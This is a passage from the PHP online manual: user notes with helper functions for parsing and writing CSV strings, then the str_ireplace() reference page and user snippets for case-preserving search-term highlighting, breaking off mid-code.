CSV used by spreadsheet programs like Excel do not use escape characters to escape stray separator characters. Again, the default separator character is actually a tab and not a comma (but historically this is usually still referred to it as CSV). Excel uses quotes to enclose an element that has literal separator characters in it (and an extra quote to escape each literal quote within the quotes - strange but true). Another quirk is that Excel will not trim extra space around elements including line breaks. Meaning you can have multiple lines of text within an element by just putting it in quotes. See the Wikipedia entry for "Comma-separated values" for good examples that have quotes and escaped quotes and newlines and so on.

Note that if you want to generate data that Excel will load into cells when someone clicks on a link, use tab as a separator, quote elements that have tabs or quotes and escape literal quotes with an extra preceding quote.

The following routine can be used to properly quote an element and escape quotes with an extra quote in the way Excel expects:

<?php
    function escapeCsvElement($str, $sep) {
        $quot = false;
        $si = 0;
        $slen = strlen($str);
        $ret = '';
        while ($si < $slen) {
            $ch = $str[$si];
            if ($ch == $sep)
                $quot = true;
            if ($ch == '"') {
                $quot = true;
                $ret .= '"';
            }
            $ret .= $ch;
            $si++;
        }
        if ($quot)
            return '"' . $ret . '"';
        return $str;
    }
?>

Then write each row to the browser terminated by carriage-return / newline linebreaks and send headers like:

<?php
    header('Content-type: application/csv');
    header('Content-Disposition: attachment; filename=' . $filename);
?>

This is what Excel and other spreadsheet programs expect to automatically load your cell data as expected without triggering the file import wizard.

As for parsing real CSV, the *getcsv functions are not going to work. To parse the quotes and escaped quotes and literal line breaks and so on, that would be handled best with a proper state-machine parser.
w_barath@hotmail,com 02-Aug-2011 07:19
For people who haven't got access to str_getcsv() in their version of PHP and want to convert strings from CSV, I have seen many huge swaths of code and regexes to do this extremely simple task.  Here's minimal, fast code:

<?php
function csv2array($input,$delimiter=',',$enclosure='"',$escape='\\'){
    $fields=explode($enclosure.$delimiter.$enclosure,substr($input,1,-1));
    foreach ($fields as $key=>$value)
        $fields[$key]=str_replace($escape.$enclosure,$enclosure,$value);
    return($fields);
}

function array2csv($input,$delimiter=',',$enclosure='"',$escape='\\'){
    foreach ($input as $key=>$value)
        $input[$key]=str_replace($enclosure,$escape.$enclosure,$value);
    return $enclosure.implode($enclosure.$delimiter.$enclosure,$input).$enclosure;
}

$data=array("one","\"two\"");
for ($i=0;$i<100;$i++) $data=array(array2csv($data),$i);
echo "Encoded $i times...".var_export($data,true)."\n";
for ($j=0;$j<$i;$j++) $data=csv2array($data[0]);
echo "Decoded $i times...".var_export($data,true)."\n";
?>

Pretty straightforward.  ;-)

Yes, I intentionally changed the function names,
M. Bunge (TLC Communications, DE) 22-Jun-2011 05:08
Just another way to convert a csv file to an associative array.

<?php
//
// Convert csv file to associative array:
//

function csv_to_array($input, $delimiter='|')
{
    $header = null;
    $data = array();
    $csvData = str_getcsv($input, "\n");

    foreach($csvData as $csvLine){
        if(is_null($header)) $header = explode($delimiter, $csvLine);
        else{

            $items = explode($delimiter, $csvLine);

            for($n = 0, $m = count($header); $n < $m; $n++){
                $prepareData[$header[$n]] = $items[$n];
            }

            $data[] = $prepareData;
        }
    }

    return $data;
}

//-----------------------------------
//
//Usage:

$csvArr = csv_to_array(file_get_contents('test.csv'));

?>
durik at 3ilab dot net 16-Jan-2011 11:39
As the str_getcsv(), unlike to fgetcsv(), does not parse the rows in CSV string, I have found following easy workaround:

<?php
$Data = str_getcsv($CsvString, "\n"); //parse the rows
foreach($Data as &$Row) $Row = str_getcsv($Row, ";"); //parse the items in rows
?>

Why not use explode() instead of str_getcsv() to parse rows? Because explode() would not treat possible enclosured parts of string or escaped characters correctly.
Anonymous 25-Oct-2010 12:25
If your version of PHP doesn't have `str_getcsv` and you don't need custom $escape or $eol values, try this:

<?php if (!function_exists('str_getcsv')) {

function str_getcsv($input, $delimiter=',', $enclosure='"', $escape=null, $eol=null) {
  $temp=fopen("php://memory", "rw");
  fwrite($temp, $input);
  fseek($temp, 0);
  $r = array();
  while (($data = fgetcsv($temp, 4096, $delimiter, $enclosure)) !== false) {
    $r[] = $data;
  }
  fclose($temp);
  return $r;
}

} ?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (depely AT IAMNOTABOT prestaconcept.net) on 04-MAR-2011 with the following note: "The previous anonymous function only read the first line".]
Jay Williams 10-Aug-2010 01:50
Here is a quick and easy way to convert a CSV file to an associated array:

<?php
/**
 * @link http://gist.github.com/385876
 */
function csv_to_array($filename='', $delimiter=',')
{
    if(!file_exists($filename) || !is_readable($filename))
        return FALSE;

    $header = NULL;
    $data = array();
    if (($handle = fopen($filename, 'r')) !== FALSE)
    {
        while (($row = fgetcsv($handle, 1000, $delimiter)) !== FALSE)
        {
            if(!$header)
                $header = $row;
            else
                $data[] = array_combine($header, $row);
        }
        fclose($handle);
    }
    return $data;
}

?>
hpartidas at deuz dot net 25-May-2010 09:50
I found myself wanting to parse a CSV and didn't have access to str_getcsv, so I wrote substitute for PHP < 5.3, hope it helps someone out there stuck in the same situation.

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ',', $enclosure = '"', $escape = '\\', $eol = '\n') {
        if (is_string($input) && !empty($input)) {
            $output = array();
            $tmp    = preg_split("/".$eol."/",$input);
            if (is_array($tmp) && !empty($tmp)) {
                while (list($line_num, $line) = each($tmp)) {
                    if (preg_match("/".$escape.$enclosure."/",$line)) {
                        while ($strlen = strlen($line)) {
                            $pos_delimiter       = strpos($line,$delimiter);
                            $pos_enclosure_start = strpos($line,$enclosure);
                            if (
                                is_int($pos_delimiter) && is_int($pos_enclosure_start)
                                && ($pos_enclosure_start < $pos_delimiter)
                                ) {
                                $enclosed_str = substr($line,1);
                                $pos_enclosure_end = strpos($enclosed_str,$enclosure);
                                $enclosed_str = substr($enclosed_str,0,$pos_enclosure_end);
                                $output[$line_num][] = $enclosed_str;
                                $offset = $pos_enclosure_end+3;
                            } else {
                                if (empty($pos_delimiter) && empty($pos_enclosure_start)) {
                                    $output[$line_num][] = substr($line,0);
                                    $offset = strlen($line);
                                } else {
                                    $output[$line_num][] = substr($line,0,$pos_delimiter);
                                    $offset = (
                                                !empty($pos_enclosure_start)
                                                && ($pos_enclosure_start < $pos_delimiter)
                                                )
                                                ?$pos_enclosure_start
                                                :$pos_delimiter+1;
                                }
                            }
                            $line = substr($line,$offset);
                        }
                    } else {
                        $line = preg_split("/".$delimiter."/",$line);

                        /*
                         * Validating against pesky extra line breaks creating false rows.
                         */
                        if (is_array($line) && !empty($line[0])) {
                            $output[$line_num] = $line;
                        }
                    }
                }
                return $output;
            } else {
                return false;
            }
        } else {
            return false;
        }
    }
}
?>
vincent dot enjalbert at gmail dot com 19-Feb-2010 03:37
For multiline array, just use :

<?php
$csvData = file_get_contents($fileName);
$csvNumColumns = 22;
$csvDelim = ";";
$data = array_chunk(str_getcsv($csvData, $csvDelim), $csvNumColumns);
?>
Raymond 14-Dec-2009 05:49
Here's a little function to convert a multi-line CSV string to an array:

<?php
function csv_to_array($csv, $delimiter = ',', $enclosure = '"', $escape = '\\', $terminator = "\n") {
    $r = array();
    $rows = explode($terminator,trim($csv));
    $names = array_shift($rows);
    $names = str_getcsv($names,$delimiter,$enclosure,$escape);
    $nc = count($names);
    foreach ($rows as $row) {
        if (trim($row)) {
            $values = str_getcsv($row,$delimiter,$enclosure,$escape);
            if (!$values) $values = array_fill(0,$nc,null);
            $r[] = array_combine($names,$values);
        }
    }
    return $r;
}
?>
Jrg Wagner 12-Oct-2009 02:23
Here is a very concise replacement for str_getcsv.
No escaping of the enclosure char though, but an additional possibility to preserve the enclosing characters around a field.
Note that the fourth parameter therefore has a different meaning!

<?php
function csv_explode($delim=',', $str, $enclose='"', $preserve=false){
  $resArr = array();
  $n = 0;
  $expEncArr = explode($enclose, $str);
  foreach($expEncArr as $EncItem){
    if($n++%2){
      array_push($resArr, array_pop($resArr) . ($preserve?$enclose:'') . $EncItem.($preserve?$enclose:''));
    }else{
      $expDelArr = explode($delim, $EncItem);
      array_push($resArr, array_pop($resArr) . array_shift($expDelArr));
      $resArr = array_merge($resArr, $expDelArr);
    }
  }
  return $resArr;
}
?>
dave_walter at yahoo dot com 04-Jun-2009 09:51
Just to clarify, my str_putcsv() function was only ever designed to complement the functionality of the str_getcsv() built-in function, which can only handle converting one line of input into a single level array. For example, this code:

<?php
    var_dump( str_getcsv( "a,b,c\nd,e,f", "," ));
?>

generates this output:

array(5) {
    [0]=>
    string(1) "a"
    [1]=>
    string(1) "b"
    [2]=>
    string(3) "c
    d"
    [3]=>
    string(1) "e"
    [4]=>
    string(1) "f"
}

Even fgetcsv() and fputcsv() only work with a single line. All the examples show them being used within a loop of some sort.

I was also avoiding the artificial restriction on the length of the CSV string introduced by Ulf's modification.
Ulf 28-May-2009 06:24
As Dave's function also had the problem with only one line being returned here's a slightly changed version:

<?php
function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
  // Open a memory "file" for read/write...
  $fp = fopen('php://temp', 'r+');
  // ... write the $input array to the "file" using fputcsv()...
  fputcsv($fp, $input, $delimiter, $enclosure);
  // ... rewind the "file" so we can read what we just wrote...
  rewind($fp);
  // ... read the entire line into a variable...
  $data = fread($fp, 1048576); // [changed]
  // ... close the "file"...
  fclose($fp);
  // ... and return the $data to the caller, with the trailing newline from fgets() removed.
  return rtrim( $data, "\n" );
}
?>
It assumes that one line won't exceed 1Mb of data. That should be more than enough.
Anonymous 16-Mar-2009 10:02
For some reason o'connor's code only reads one line of a csv for me... I had to replace the line

      $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

with this:

      $data;
      while (!feof($fp))
      {
        $data[] = fgetcsv($fp, 0, $delimiter, $enclosure); //  $escape only got added in 5.3.0
      }

...to get all of the data out of my string (some post data pasted into a textbox and processed only with stripslashes).
dave_walter at NOSPAM dot yahoo dot com 06-Feb-2009 03:32
Drawing inspiration from daniel dot oconnor at gmail dot com, here's an alternative str_putcsv() that leverages existing PHP core functionality (5.1.0+) to avoid re-inventing the wheel.

<?php
if(!function_exists('str_putcsv')) {
    function str_putcsv($input, $delimiter = ',', $enclosure = '"') {
        // Open a memory "file" for read/write...
        $fp = fopen('php://temp', 'r+');
        // ... write the $input array to the "file" using fputcsv()...
        fputcsv($fp, $input, $delimiter, $enclosure);
        // ... rewind the "file" so we can read what we just wrote...
        rewind($fp);
        // ... read the entire line into a variable...
        $data = fgets($fp);
        // ... close the "file"...
        fclose($fp);
        // ... and return the $data to the caller, with the trailing newline from fgets() removed.
        return rtrim( $data, "\n" );
    }
}
?>
Jeremy 20-Jan-2009 05:20
After using several methods in the past to create CSV strings without using files (disk IO sucks), I finally decided it's time to write a function to handle it all. This function could use some cleanup, and the variable type test might be overkill for what is needed, I haven't thought about it too much.

Also, I took the liberty of replacing fields with certain data types with strings which I find much easier to work with. Some of you may not agree with those. Also, please note that the type "double" or float has been coded specifically for two digit precision because if I am using a float, it's most likely for currency.

I am sure some of you out there would appreciate this function.

<?php
    function str_putcsv($array, $delimiter = ',', $enclosure = '"', $terminator = "\n") {
        # First convert associative array to numeric indexed array
        foreach ($array as $key => $value) $workArray[] = $value;

        $returnString = '';                 # Initialize return string
        $arraySize = count($workArray);     # Get size of array

        for ($i=0; $i<$arraySize; $i++) {
            # Nested array, process nest item
            if (is_array($workArray[$i])) {
                $returnString .= str_putcsv($workArray[$i], $delimiter, $enclosure, $terminator);
            } else {
                switch (gettype($workArray[$i])) {
                    # Manually set some strings
                    case "NULL":     $_spFormat = ''; break;
                    case "boolean":  $_spFormat = ($workArray[$i] == true) ? 'true': 'false'; break;
                    # Make sure sprintf has a good datatype to work with
                    case "integer":  $_spFormat = '%i'; break;
                    case "double":   $_spFormat = '%0.2f'; break;
                    case "string":   $_spFormat = '%s'; break;
                    # Unknown or invalid items for a csv - note: the datatype of array is already handled above, assuming the data is nested
                    case "object":
                    case "resource":
                    default:         $_spFormat = ''; break;
                }
                                $returnString .= sprintf('%2$s'.$_spFormat.'%2$s', $workArray[$i], $enclosure);
$returnString .= ($i < ($arraySize-1)) ? $delimiter : $terminator;
            }
        }
        # Done the workload, return the output information
        return $returnString;
    }

?>
daniel dot oconnor at gmail dot com 19-Jan-2009 04:48
Don't have this? Ask fgetcsv() to do it for you.

5.1.0+

<?php
if (!function_exists('str_getcsv')) {
    function str_getcsv($input, $delimiter = ",", $enclosure = '"', $escape = "\\") {
        $fiveMBs = 5 * 1024 * 1024;
        $fp = fopen("php://temp/maxmemory:$fiveMBs", 'r+');
        fputs($fp, $input);
        rewind($fp);

        $data = fgetcsv($fp, 1000, $delimiter, $enclosure); //  $escape only got added in 5.3.0

        fclose($fp);
        return $data;
    }
}
?>
Anonymous 12-Jan-2009 08:55
Thanks Rob, have used your code. It needs a minor tweak so that the delimiter option is processed as it should be. Line 5 should read:

<?php    $expr="/$delimiter(?=(?:[^\"]*\"[^\"]*\")*(?![^\"]*\"))/"; // added ?>

instead of:

<?php    $expr="/,(?=(?:[^\"]*\"[^\"]*\")*(?![^\"]*\"))/"; // added ?>

JS, London
Rob 07-Nov-2008 08:54
This does the same as the example below, giving you an array, but it allows to parse csv with commas in between quotes (used for addresses)... and it takes out the quotes from an array entry as well.

<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $expr="/$delimiter(?=(?:[^\"]*\"[^\"]*\")*(?![^\"]*\"))/"; // added
    $str = $file;
    $lines = explode("\n", $str);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = preg_split($expr,trim($line)); // added
        $fields = preg_replace("/^\"(.*)\"$/s","$1",$fields); //added
        //$fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

[EDIT BY danbrown AT php DOT net: Includes bugfixes provided by "Anonymous" on 12-JAN-09 and "joelfromlollypins.com" on 19-JAN-09.]
william dot j dot weir at gmail dot com 18-Sep-2008 03:19
If your happy enough having just a multi-dimensional array, this should work fine. I had wanted to use the one provided by keananda but it was choking on pr($lines).

<?php
function f_parse_csv($file, $longest, $delimiter) {
  $mdarray = array();
  $file    = fopen($file, "r");
  while ($line = fgetcsv($file, $longest, $delimiter)) {
    array_push($mdarray, $line);
    }
  fclose($file);
  return $mdarray;
  }
?>

$longest is a number that represents the longest line in the csv file as required by fgetcsv().  The page for fgetcsv() said that the longest line could be set to 0 or left out, but I couldn't get it to work without. I just made it extra large when I had to use it.
keananda at gmail dot com 15-Sep-2008 04:29
For those who need this function but not yet installed in their environment, you can use my function bellow.

You can parse your csv file into an associative array (by default) for each lines, or into an object.
<?php
function parse_csv($file, $options = null) {
    $delimiter = empty($options['delimiter']) ? "," : $options['delimiter'];
    $to_object = empty($options['to_object']) ? false : true;
    $str = file_get_contents($file);
    $lines = explode("\n", $str);
    pr($lines);
    $field_names = explode($delimiter, array_shift($lines));
    foreach ($lines as $line) {
        // Skip the empty line
        if (empty($line)) continue;
        $fields = explode($delimiter, $line);
        $_res = $to_object ? new stdClass : array();
        foreach ($field_names as $key => $f) {
            if ($to_object) {
                $_res->{$f} = $fields[$key];
            } else {
                $_res[$f] = $fields[$key];
            }
        }
        $res[] = $_res;
    }
    return $res;
}
?>

NOTE:
Line number 1 of the csv file will be considered as header (field names).

TODO:
- Enclosure handling
- Escape character handling
- Other features/enhancements as you need

EXAMPLE USE:
Content of /path/to/file.csv:
CODE,COUNTRY
AD,Andorra
AE,United Arab Emirates
AF,Afghanistan
AG,Antigua and Barbuda

<?php
$arr_csv = parse_csv("/path/to/file.csv");
print_r($arr_csv);
?>
// Output:
Array
(
    [0] => Array
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => Array
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => Array
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => Array
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
)

<?php
$obj_csv = parse_csv("/path/to/file.csv", array("to_object" => true));
print_r($obj_csv);
?>
// Output:
Array
(
    [0] => stdClass Object
        (
            [CODE] => AD
            [COUNTRY] => Andorra
        )
    [1] => stdClass Object
        (
            [CODE] => AE
            [COUNTRY] => United Arab Emirates
        )
    [2] => stdClass Object
        (
            [CODE] => AF
            [COUNTRY] => Afghanistan
        )
    [3] => stdClass Object
        (
            [CODE] => AG
            [COUNTRY] => Antigua and Barbuda
        )
    [4] => stdClass Object
        (
            [CODE] =>
            [COUNTRY] =>
        )
)

// If you use character | (pipe) as delimiter in your csv file, use:
<?php
$arr_csv = parse_csv("/path/to/file.csv", array("delimiter"=>"|"));
?>

==NSD==
colin_mckinnon at slc dot co dot uk 09-Jun-2008 09:00
Regarding RFC 4180 - I asked the author about the specifics of the format described which poses a number of technical difficulties in building a parser - his response is shown below:

quote:

Please do keep one thing in mind - this RFC
was meant to define the MIME type for CSV rather than the format. It
happens to be that no format definition existed and I was forced to
define one. As the RFC states:

"This section documents the format that seems to be followed by most
implementations"
csv at rfc dot org 05-May-2008 01:15
RFC 4180 which deals with CSVs states the escape character is supposed to be a double quotation mark: (page 2)
   7.  If double-quotes are used to enclose fields, then a double-quote
       appearing inside a field must be escaped by preceding it with
       another double quote.  For example:

       "aaa","b""bb","ccc"
peev[dot]alexander at gmail dot com 20-Apr-2008 02:22
CSV parsing and storage is not that hard to implement - see my example functions ( I believe they do a pretty good job - I use them in a production environment ):

<?php

if( !function_exists("parse_csv") ){
    function parse_csv($string){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("parse_csv_aux") ){
            function parse_csv_aux( $string ){
                $product = "";
                $in_quote = FALSE;
                $skipped_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            if($skipped_quote){
                                $product .= "\"";
                                $skipped_quote = FALSE;
                            }
                            else if( !$skipped_quote ){
                                $skipped_quote = TRUE;
                            }
                        }
                        else{
                            if($skipped_quote) $skipped_quote = FALSE;
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= " ; ";
                        }
                    }
                    else{
                        if($in_quote){
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                return $product;
            }
        }
        $data = array();
        if(  is_string($string) && ( stripos($string, "\n") !== FALSE )  ){
            $data = explode("\n", parse_csv_aux($string) );
            foreach($data as $key => $row){
                $columns = array();
                //$row = strtr(  $row, array( "\";\"" => "\";\"", ";" => " ; " )  );
                if( stripos($row, " ; ") !== FALSE ){
                    $columns = explode( " ; ", $row );
                    if( !is_array($columns) )$columns = array( strval($columns) );
                    $data[$key] = $columns;
                }
            }
            return $data;
        }
        else if(  is_string($string) && ( stripos( ($string =  parse_csv_aux($string)), " ; ") !== FALSE )  ){
            $columns = explode( " ; ", $string );
            if( !is_array($columns) )$columns = array( strval($columns) );
            return array($columns);
        }
        else return strval($string);
    } /* end function parse_csv */
} /* end not function exists parse_csv */

if( !function_exists("store_csv") ){
    function store_csv($data){
/* Author : Alexander Peev, posted at PHP.NET */
        if( !function_exists("store_csv_aux") ){
            function store_csv_aux( $string ){
                $string = strtr( $string, array( "\n" => "" ) );
                $product = "";
                $in_quote = FALSE;
                for(  $i = 0 ; $i < strlen($string) ; $i++  ){
                    if( $string{$i} == "\"" ){
                        if($in_quote){
                            $product .= "\"\"";
                        }
                        else{
                            $product .= "\"\"\"";
                            $in_quote = TRUE;
                        }
                    }
                    else if( $string{$i} == ";" ){
                        if($in_quote){
                            $product .= ";";
                        }
                        else{
                            $product .= "\";";
                            $in_quote = TRUE;
                        }
                    }
                    else{
                        if($in_quote){
                            $product .= "\"";
                            $in_quote = FALSE;
                            $product .= $string{$i};
                        }
                        else{
                            $product .= $string{$i};
                        }
                    }
                }
                if($in_quote)$product .= "\"";
                return $product;
            }
        }
        if(!is_array($data))return strval($data);
        $passed_rows = FALSE;
        $product = "";
        foreach($data as $row){
            if( $passed_rows )$product .= "\n";
            if( is_array($row) ){
                $columns = "";
                $passed_cols = FALSE;
                foreach($row as $column){
                    if( $passed_cols )$columns .= ";";
                    $columns .= store_csv_aux( $column );
                    $passed_cols =TRUE;
                }
                $product .= strval($columns);
            }
            else{
                $product .= strtr( strval($row), array("\n" => "") );
            }
            $passed_rows = TRUE;
        }
        return $product;
    } /* end function store_csv */
} /* end not function exists store_csv */

?>
justin at cam dot org 15-Feb-2007 10:25
There's a discussion of how to perform this task in the user notes for the split() function.
http://www.php.net/manual/en/function.split.php
sscanf
str_ireplace
String Functions


Case-insensitive version of str_replace.

str_getcsv
str_pad
String Functions
PHP Manual

str_ireplace

(PHP 5)

str_ireplace — Case-insensitive version of str_replace().

Description

mixed str_ireplace ( mixed $search , mixed $replace , mixed $subject [, int &$count ] )

This function returns a string or an array with all occurrences of search in subject (ignoring case) replaced with the given replace value. If you don't need fancy replacing rules, you should generally use this function instead of preg_replace() with the i modifier.

Parameters

If search and replace are arrays, then str_ireplace() takes a value from each array and uses them to search and replace on subject. If replace has fewer values than search, then an empty string is used for the rest of replacement values. If search is an array and replace is a string, then this replacement string is used for every value of search. The converse would not make sense, though.

If search or replace are arrays, their elements are processed first to last.

search

The value being searched for, otherwise known as the needle. An array may be used to designate multiple needles.

replace

The replacement value that replaces found search values. An array may be used to designate multiple replacements.

subject

The string or array being searched and replaced on, otherwise known as the haystack.

If subject is an array, then the search and replace is performed with every entry of subject, and the return value is an array as well.

count

If passed, this will be set to the number of replacements performed.

Return Values

Returns a string or an array of replacements.

Changelog

Version | Description
5.0.0 | The count parameter was added.

Examples

Example #1 str_ireplace() example

<?php
$bodytag = str_ireplace("%body%", "black", "<body text=%BODY%>");
?>

Notes

Note: This function is binary-safe.

Caution

Replacement order gotcha

Because str_ireplace() replaces left to right, it might replace a previously inserted value when doing multiple replacements. Example #2 in the str_replace() documentation demonstrates how this may affect you in practice.

See Also

  • str_replace() - Replace all occurrences of the search string with the replacement string
  • preg_replace() - Perform a regular expression search and replace
  • strtr() - Translate characters or replace substrings

User Contributed Notes

chud37.com 11-Jan-2012 12:52
After searching through the forums and laboriously testing all the highlight functions (as I was too lazy to write my own, I wanted a quick solution), I found that none of them did what I wanted at all.

I just wanted a function that took a string and did not modify it in anyway, apart from just surrounding the matching words with some kind of highlighting HTML.  At best all the ones of the forums here changed the text but also the case as well.  The example given by sawdust *did* work except when given a single  character when it continued to loop-replace the letter 'a' in the inserted 'background-color:'.  So, here is a fool proof, no-nonsense replace method that should work always.

<?php
function highlight($haystack, $needle) {
     if (strlen($haystack) < 1 || strlen($needle) < 1) {return $haystack;}
    preg_match_all("/$needle+/i", $haystack, $match);
    $exploded = preg_split("/$needle+/i",$haystack);
    $replaced = "";
    foreach($exploded as $e)
            foreach($match as $m)
            if($e!=$exploded[count($exploded)-1]) {$replaced .= $e . "<font style=\"background-color:yellow\">" . $m[0] . "</font>";} else {$replaced .= $e;}
    return $replaced;
}
?>
Psudo - thepsudo at gmail dot com 29-Jun-2011 09:53
For highlighting without the overhead of regex and without destroying capitalization, try this:

<?php
function highlight($needle, $haystack){
    $ind = stripos($haystack, $needle);
    $len = strlen($needle);
    if($ind !== false){
        return substr($haystack, 0, $ind) . "<b>" . substr($haystack, $ind, $len) . "</b>" .
            highlight($needle, substr($haystack, $ind + $len));
    } else return $haystack;
}
?>

This example uses HTML bold tags, but you can easily change the highlighting method.
holblin at holblin dot com 09-Mar-2011 01:11
Warning with highlighting ...

I used :

<?php
$text = preg_replace('/('.$q.')/i','<span class=highlighting "">$1</span>' , $text);
?>

Because this line do not allow to highlight uppercase and lowercase correctly (transform uppercase to lowercase for exemple)

<?php
 $text = str_ireplace( $q , '<span class=highlighting "">'.$q.'</span>', $text);
?>

But when $q contain some regex you have some problems ... for exemple :
<?php $q = '('; ?>

So you must use preg_replace to highlight correctly the text and you must create a function for escape bad regex caracters !

I think that a better function can be found but this works I guess :

<?php
function regex_escape( $q )
{
    return preg_replace('/([\[\]\(\)\{\}\-\.\*\?\|\^\$])/', '\$1', $q);
}
?>
stepanic dot matija at gmail dot com 21-Oct-2010 08:57
FIX-ed problem with highlighting second 'o' OR 'a', in this string

<?php
function highlight_string ($haystack, $needle, $highlight_class) {
         // return $haystack if there is no highlight color or strings given, nothing to do.

        $first_encode='XXXXXXXXXXXXXXX';     //ENCODE string

        $second_encode='YYYYYYYYYYYYYYY';

        preg_match_all("/$needle+/i", $haystack, $matches);
        if (is_array($matches[0]) && count($matches[0]) >= 1) {
            foreach ($matches[0] as $match) {
                $haystack = str_replace($match, $first_encode.$match.$second_encode, $haystack);
            }
        }

        $haystack=str_replace(array($first_encode,$second_encode),
array('<font class="'.$highlight_class.'" >','</font>'),$haystack);

        return $haystack;
}
?>
triplepoint at gmail dot com 23-Sep-2010 10:06
Regarding maintaining the case of the find/replace for search-highlighting purposes:

if the performance hit of a regular expression isn't a big problem, there's something like:

<?php
function highlight_matches($find_text, $text) {
  return preg_replace("/($find_text)/i", '<span class="search_item">$1</span>', $text);
}
?>
info at daniel-marschall dot de 22-Jun-2009 07:15
If you want to keep the original capitalization when replacing some text (e.g. for highlighting the search-string in the the search result), you can use this code I wrote:

<?php

// http://devboard.viathinksoft.de/viewtopic.php?f=34&t=771
// Bugfix-Release #3 (June, 22th 2009)
function ext_str_ireplace($findme, $replacewith, $subject)
{
     // Replaces $findme in $subject with $replacewith
     // Ignores the case and do keep the original capitalization by using $1 in $replacewith
     // Required: PHP 5

     $rest = $subject;
     $result = '';

     while (stripos($rest, $findme) !== false) {
          $pos = stripos($rest, $findme);

          // Remove the wanted string from $rest and append it to $result
          $result .= substr($rest, 0, $pos);
          $rest = substr($rest, $pos, strlen($rest)-$pos);

          // Remove the wanted string from $rest and place it correctly into $result
          $result .= str_replace('$1', substr($rest, 0, strlen($findme)), $replacewith);
          $rest = substr($rest, strlen($findme), strlen($rest)-strlen($findme));
     }

     // After the last match, append the rest
     $result .= $rest;

     return $result;
}

?>
ishutko at gmail dot com 16-Mar-2009 01:49
For function work with cirilic

setlocale (LC_ALL, 'ru_RU');
sawdust 04-Dec-2008 07:28
Here's a different approach to search result keyword highlighting that will match all keyword sub strings in a case insensitive manner and preserve case in the returned text. This solution first grabs all matches within $haystack in a case insensitive manner, and the secondly loops through each of those matched sub strings and applies a case sensitive replace in $haystack. This way each unique (in terms of case) instance of $needle is operated on individually allowing a case sensitive replace to be done in order to preserve the original case of each unique instance of $needle.

<?php
function highlightStr($haystack, $needle, $highlightColorValue) {
     // return $haystack if there is no highlight color or strings given, nothing to do.
    if (strlen($highlightColorValue) < 1 || strlen($haystack) < 1 || strlen($needle) < 1) {
        return $haystack;
    }
    preg_match_all("/$needle+/i", $haystack, $matches);
    if (is_array($matches[0]) && count($matches[0]) >= 1) {
        foreach ($matches[0] as $match) {
            $haystack = str_replace($match, '<span style="background-color:'.$highlightColorValue.';">'.$match.'</span>', $haystack);
        }
    }
    return $haystack;
}
?>
Michael dot Bond at mail dot wvu dot edu 14-Nov-2008 06:44
This function will highlight search terms (Key Words in Context).

The difference between this one and the ones below is that it will preserve the original case of the search term as well. So, if you search for "american" but in the original string it is "American" it will retain the capital "A" as well as the correct case for the rest of the string.

<?php
function kwic($str1,$str2) {

    $kwicLen = strlen($str1);

    $kwicArray = array();
    $pos          = 0;
    $count       = 0;

    while($pos !== FALSE) {
        $pos = stripos($str2,$str1,$pos);
        if($pos !== FALSE) {
            $kwicArray[$count]['kwic'] = substr($str2,$pos,$kwicLen);
            $kwicArray[$count++]['pos']  = $pos;
            $pos++;
        }
    }

    for($I=count($kwicArray)-1;$I>=0;$I--) {
        $kwic = '<span class="kwic">'.$kwicArray[$I]['kwic'].'</span>';
        $str2 = substr_replace($str2,$kwic,$kwicArray[$I]['pos'],$kwicLen);
    }

    return($str2);
}
?>
info at daniel-marschall dot de 02-Oct-2008 10:32
Example for str_ireplace(). It will print "RePlaCeMe" in red color, but after this, it would be written in lower case because of the string $search.

<?php

$search  = 'replaceme';
$replace = '<font color="#FF0000">'.$search.'</font>';
$text    = 'Please RePlaCeMe, OK?';

echo str_ireplace($search, $replace, $text);

?>

Example for ext_str_ireplace(). It will print "RePlaCeMe" in red color, and will not change the capitalization:

<?php

$search  = 'replaceme';
$replace = '<font color="#FF0000">$1</font>';
$text    = 'Please RePlaCeMe, OK?';

echo ext_str_ireplace($search, $replace, $text);

?>
Anonymous 05-Jun-2008 12:58
I modified a script from notes on the eregi_replace() function page.  This is a highlight script that worked good for me.

$text - is the text to search
$words - are the words to highlight (search text)
$the_place - is so that you can tell your users what "area" was searched.

<?php
function highlight_this($text, $words, $the_place) {
    $words = trim($words);
    $wordsArray = explode(' ', $words);
    foreach($wordsArray as $word) {
        if(strlen(trim($word)) != 0)
            $text = str_ireplace($word, "<span class=\"highlight\">".strtoupper($word)."</span>", $text, $count);
    }
    //added to show how many keywords were found
    echo "<br><div class=\"emphasis\">A search for <strong>" . $words. "</strong> found <strong>" . $count . "</strong> matches within the " . $the_place. ".</div><br>";

    //end script modification
    return $text;
}
?>
mvpetrovich 15-Feb-2008 03:28
Here are some minor tweaks to-n00b-at-battleofthebits-dot-org's excellent function.
1) The token was set to an ASCII value 1 (which could be changed as was previously noted)
2) The $c++ was not needed
3) The while statement is not necessary for the final replacement
4) Note that this does not allow use of arrays for search and replace terms.  That could be implemented using loops.

<?php
if(!function_exists('str_ireplace')){
  function str_ireplace($search,$replace,$subject){
    $token = chr(1);
    $haystack = strtolower($subject);
    $needle = strtolower($search);
